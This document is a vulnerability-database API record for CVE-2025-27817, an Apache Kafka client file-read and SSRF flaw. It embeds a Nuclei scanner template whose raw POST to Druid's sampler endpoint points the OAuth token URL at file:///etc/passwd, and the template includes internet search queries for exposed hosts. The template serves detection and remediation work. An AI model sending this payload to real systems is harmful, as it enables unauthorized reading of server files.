{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-27817/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-27817/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-27817/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-27817/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-27817/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-27817/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2025-27817"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2025-27817"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-27817.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2025-27817\n\ninfo:\n  name: Apache Kafka Client - Arbitrary File Read\n  author: 0x_Akoko\n  severity: high\n  description: |\n    Apache Kafka Client contains arbitrary file read and server-side request forgery caused by untrusted configuration of sasl.oauthbearer.token.endpoint.url and sasl.oauthbearer.jwks.endpoint.url, letting attackers read files or send requests to unintended locations, exploit requires untrusted party to specify client configurations.\n  impact: |\n    Attackers can read arbitrary files or make unintended network requests, potentially exposing sensitive data or causing unauthorized interactions.\n  remediation: |\n    Update to Apache Kafka 4.0.0 or later and configure allowed URLs using -Dorg.apache.kafka.sasl.oauthbearer.allowed.urls system property.\n  reference:\n    - https://github.com/kk12-30/CVE-2025-27817\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-27817\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2025-27817\n    epss-score: 0.68776\n    epss-percentile: 0.99348\n    cwe-id: CWE-918\n  metadata:\n    max-request: 1\n    verified: true\n    shodan-query: http.title:\"Apache kafka\"\n    fofa-query: title=\"Apache Kafka\"\n  tags: cve,cve2025,apache,lfi,file-read,ssrf,kafka,oss,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /druid/indexer/v1/sampler?for=connect HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"type\":\"kafka\",\"spec\":{\"type\":\"kafka\",\"ioConfig\":{\"type\":\"kafka\",\"consumerProperties\":{\"bootstrap.servers\":\"127.0.0.1:6666\",\"sasl.mechanism\":\"OAUTHBEARER\",\"security.protocol\":\"SASL_SSL\",\"sasl.login.callback.handler.class\":\"org.apache.kafka.common.security.oauthbearer.secured.OAuthBearerLoginCallbackHandler\",\"sasl.oauthbearer.token.endpoint.url\":\"file:///etc/passwd\",\"sasl.jaas.config\":\"org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required sasl.oauthbearer.token.endpoint.url=\\\"http://127.0.0.1:9999/token\\\" sasl.oauthbearer.jwks.endpoint.url=\\\"http://127.0.0.1:9999/jwks\\\" sasl.oauthbearer.client.id=your-client-id sasl.oauthbearer.client.secret=your-client-secret sasl.oauthbearer.expected.audience=kafka sasl.oauthbearer.expected.issuer=\\\"http://127.0.0.1:9999\\\" useFirstPass=true serviceName=kafka debug=true;\"},\"topic\":\"test\",\"useEarliestOffset\":true,\"inputFormat\":{\"type\":\"regex\",\"pattern\":\"([\\\\s\\\\S]*)\",\"listDelimiter\":\"\",\"columns\":[\"raw\"]}},\"dataSchema\":{\"dataSource\":\"sample\",\"timestampSpec\":{\"column\":\"!!!_no_such_column_!!!\",\"missingValue\":\"1970-01-01T00:00:00Z\"},\"dimensionsSpec\":{},\"granularitySpec\":{\"rollup\":false}},\"tuningConfig\":{\"type\":\"kafka\"}},\"samplerConfig\":{\"numRows\":500,\"timeoutMs\":15000}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"Malformed JWT provided\"\n          - \"RecordSupplier\"\n        condition: and\n\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 400\n# digest: 4a0a00473045022100a35018e3b6b00847040844abad3279577a05c54da900d3816b15a1a9397c7b0c02206a9cf25b6da94ac885e712f0d62df91768d1a1683e3f9af3ca6bb22b9caa29c5:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-27817"}